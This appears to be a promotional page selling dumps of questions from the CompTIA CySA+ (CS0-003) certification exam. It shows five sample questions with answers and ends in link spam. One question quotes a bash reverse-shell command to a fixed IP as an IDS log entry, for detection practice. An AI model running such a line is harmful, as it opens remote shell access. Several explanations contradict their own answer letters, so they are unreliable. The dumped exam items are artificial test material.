CompTIA CS0-003 PDF Questions: Accessible Anywhere

BONUS!!! Download part of PrepAwayPDF CS0-003 dumps for free: https://drive.google.com/open?id=1zUDVCsTH5fB4NYIDKWn6ov1OGTtC0IiO

Do you want to find a job that really fulfills your ambitions? That's because you haven't found an opportunity to improve your ability to lay a solid foundation for a good career. Our CS0-003 quiz torrent can help you get out of trouble regain confidence and embrace a better life. Our CS0-003 Exam Question can help you learn effectively and ultimately obtain the authority certification of CompTIA, which will fully prove your ability and let you stand out in the labor market. We have the confidence and ability to make you finally have rich rewards.

The CS0-003 Certification Exam is an ideal choice for IT professionals who want to advance their careers in the cybersecurity industry. CompTIA Cybersecurity Analyst (CySA+) Certification Exam certification is recognized by leading organizations such as the U.S. Department of Defense, and it is a requirement for many cybersecurity positions in both the public and private sectors. CompTIA Cybersecurity Analyst (CySA+) Certification Exam certification can also help professionals to earn higher salaries and gain recognition for their expertise in the field.

>> CS0-003 Real Dumps <<

Free PDF Quiz CS0-003 - Trustable CompTIA Cybersecurity Analyst (CySA+) Certification Exam Real Dumps

The CS0-003 practice questions at PrepAwayPDF CS0-003 cover all the key topics and areas of knowledge necessary to get success on the first try. The product of PrepAwayPDF is designed by professionals and is regularly updated to reflect the latest changes in the content. The PrepAwayPDF recognizes that students may have different learning styles and preferences. Therefore, the PrepAwayPDF offers PDF format, desktop practice exam software, and CS0-003 Exam Questions to help customers prepare for the CS0-003 exam successfully.

The CySA+ certification exam is intended for IT professionals with at least three to four years of experience in information security or related fields. CS0-003 exam tests candidates on their knowledge of threat management, vulnerability management, incident response, security architecture and toolsets, and more. CS0-003 Exam is designed to assess a candidate's ability to identify and respond to security threats and vulnerabilities, as well as their ability to analyze and interpret data related to security incidents.

CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample Questions (Q388-Q393):

NEW QUESTION # 388
A cybersecurity analyst is recording the following details
* ID
* Name
* Description
* Classification of information
* Responsible party
In which of the following documents is the analyst recording this information?

- A. Risk register
- B. Change control documentation
- C. Incident response plan
- D. Incident response playbook

Answer: A

Explanation:
A risk register typically contains details like ID, name, description, classification of information, and responsible party. It's used for tracking identified risks and managing them. Recording details like ID, Name, Description, Classification of information, and Responsible party is typically done in a Risk Register. This document is used to identify, assess, manage, and monitor risks within an organization. It's not directly related to incident response or change control documentation.

NEW QUESTION # 389
An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization. Which of the following should be deployed?

- A. Webhooks
- B. Allowlisting
- C. Graylisting
- D. Blocklisting

Answer: B

Explanation:
The correct answer is B. Allowlisting.
Allowlisting is a technique that allows only pre-approved web-based software to run on a system or network, while blocking all other software. Allowlisting can help prevent unauthorized or malicious software from compromising the security of an organization. Allowlisting can be implemented using various methods, such as application control, browser extensions, firewall rules, or proxy servers12.
The other options are not the best techniques to ensure that users only leverage web-based software that has been pre-approved by the organization. Blocklisting (A) is a technique that blocks specific web-based software from running on a system or network, while allowing all other software. Blocklisting can be ineffective or inefficient, as it requires constant updates and may not catch all malicious software. Graylisting is a technique that temporarily rejects or delays incoming messages from unknown or suspicious sources, until they are verified as legitimate. Graylisting is mainly used for email filtering, not for web-based software control. Webhooks (D) are a technique that allows web-based software to send or receive data from other web-based software in real time, based on certain events or triggers. Webhooks are not related to web-based software control, but rather to web-based software

integration.

NEW QUESTION # 390
A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

- A. #!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"
- B. #!/bin/bashnetstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
- C. #!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK"
- D. #!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK"

Answer: B

Explanation:
The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.
ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.Reverse Shell Cheat Sheet, Bash section.

NEW QUESTION # 391
During an incident, a security analyst discovers a large amount of Pll has been emailed externally from an employee to a public email address. The analyst finds that the external email is the employee's personal email. Which of the following should the analyst recommend be done first?

- A. Disable the public email access with CASB.
- B. Configure a deny rule on the firewall.
- C. Enable filtering on the web proxy.
- D. Place a legal hold on the employee's mailbox.

Answer: D

Explanation:
Placing a legal hold on the employee's mailbox is the best action to perform first, as it preserves all mailbox content, including deleted items and original versions of modified items, for potential legal or forensic purposes. A legal hold is a feature that allows an administrator to retain mailbox data for a user indefinitely or for a specified period, regardless of the user's actions or retention policies. A legal hold can be applied to a mailbox using Litigation Hold or In-Place Hold in Exchange Server or Exchange Online. A legal hold can help to ensure that evidence of data exfiltration or other malicious activities is not lost or tampered with, and that the organization can comply with any legal or regulatory obligations.

NEW QUESTION # 392
During a recent site survey. an analyst discovered a rogue wireless access point on the network. Which of the following actions should be taken first to protect the network while preserving evidence?

- A. Identify who is connected to the access point and attempt to find the attacker.
- B. Connect to the access point and examine its log files.
- C. Disconnect the access point from the network
- D. Run a packet sniffer to monitor traffic to and from the access point.

Answer: C

Explanation:
The correct answer is D. Disconnect the access point from the network.
A rogue access point is a wireless access point that has been installed on a network without the authorization or knowledge of the network administrator. A rogue access point can pose a serious security risk, as it can allow unauthorized users to access the network, intercept network traffic, or launch attacks against the network or its devices1234.

The first action that should be taken to protect the network while preserving evidence is to disconnect the rogue access point from the network. This will prevent any further damage or compromise of the network by blocking the access point from communicating with other devices or users. Disconnecting the rogue access point will also preserve its state and configuration, which can be useful for forensic analysis and investigation. Disconnecting the rogue access point can be done physically by unplugging it from the network port or wirelessly by disabling its radio frequency5.
The other options are not the best actions to take first, as they may not protect the network or preserve evidence effectively.
Option A is not the best action to take first, as running a packet sniffer to monitor traffic to and from the access point may not stop the rogue access point from causing harm to the network. A packet sniffer is a tool that captures and analyzes network packets, which are units of data that travel across a network. A packet sniffer can be useful for identifying and troubleshooting network problems, but it may not be able to prevent or block malicious traffic from a rogue access point. Moreover, running a packet sniffer may require additional time and resources, which could delay the response and mitigation of the incident5.
Option B is not the best action to take first, as connecting to the access point and examining its log files may not protect the network or preserve evidence. Connecting to the access point may expose the analyst's device or credentials to potential attacks or compromise by the rogue access point. Examining its log files may provide some information about the origin and activity of the rogue access point, but it may also alter or delete some evidence that could be useful for forensic analysis and investigation. Furthermore, connecting to the access point and examining its log files may not prevent or stop the rogue access point from continuing to harm the network5.
Option C is not the best action to take first, as identifying who is connected to the access point and attempting to find the attacker may not protect the network or preserve evidence. Identifying who is connected to the access point may require additional tools or techniques, such as scanning for wireless devices or analyzing network traffic, which could take time and resources away from responding and mitigating the incident. Attempting to find the attacker may also be difficult or impossible, as the attacker may use various methods to hide their identity or location, such as encryption, spoofing, or proxy servers. Moreover, identifying who is connected to the access point and attempting to find the attacker may not prevent or stop the rogue access point from causing further damage or compromise to the network5.
Reference:
1 CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives
2 Cybersecurity Analyst+ - CompTIA
3 CompTIA CySA+ CS0-002 Certification Study Guide
4 CertMaster Learn for CySA+ Training - CompTIA
5 How to Protect Against Rogue Access Points on Wi-Fi - Byos
6 Wireless Access Point Protection: 5 Steps to Find Rogue Wi-Fi Networks ...
7 Rogue Access Point - Techopedia
8 Rogue access point - Wikipedia
9 What is a Rogue Access Point (Rogue AP)? - Contextual Security

NEW QUESTION # 393
.....

Download Free Dumps □ The page for free download of【 CS0-003 】 on （ www.pdfvce.com ） will open immediately □Practice Test CS0-003 Fee

- Certification CS0-003 Exam Infor □ CS0-003 Actual Dump □ CS0-003 Exam Study Solutions □ Copy URL ➤ www.examcollectionpass.com □ open and search for " CS0-003 " to download for free □Certification CS0-003 Dumps
- 24hoursschool.com, courses.solutionbhai.com, www.goodgua.com, www.stes.tyc.edu.tw, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, myportal.utt.edu.tt, www.stes.tyc.edu.tw, www.stes.tyc.edu.tw, paraschessacademy.com, felbar.net, akssafety.com, Disposable vapes

P.S. Free & New CS0-003 dumps are available on Google Drive shared by PrepAwayPDF: https://drive.google.com/open?id=1zUDVCsTH5fB4NYIDKWn6ov1OGTtC0IiO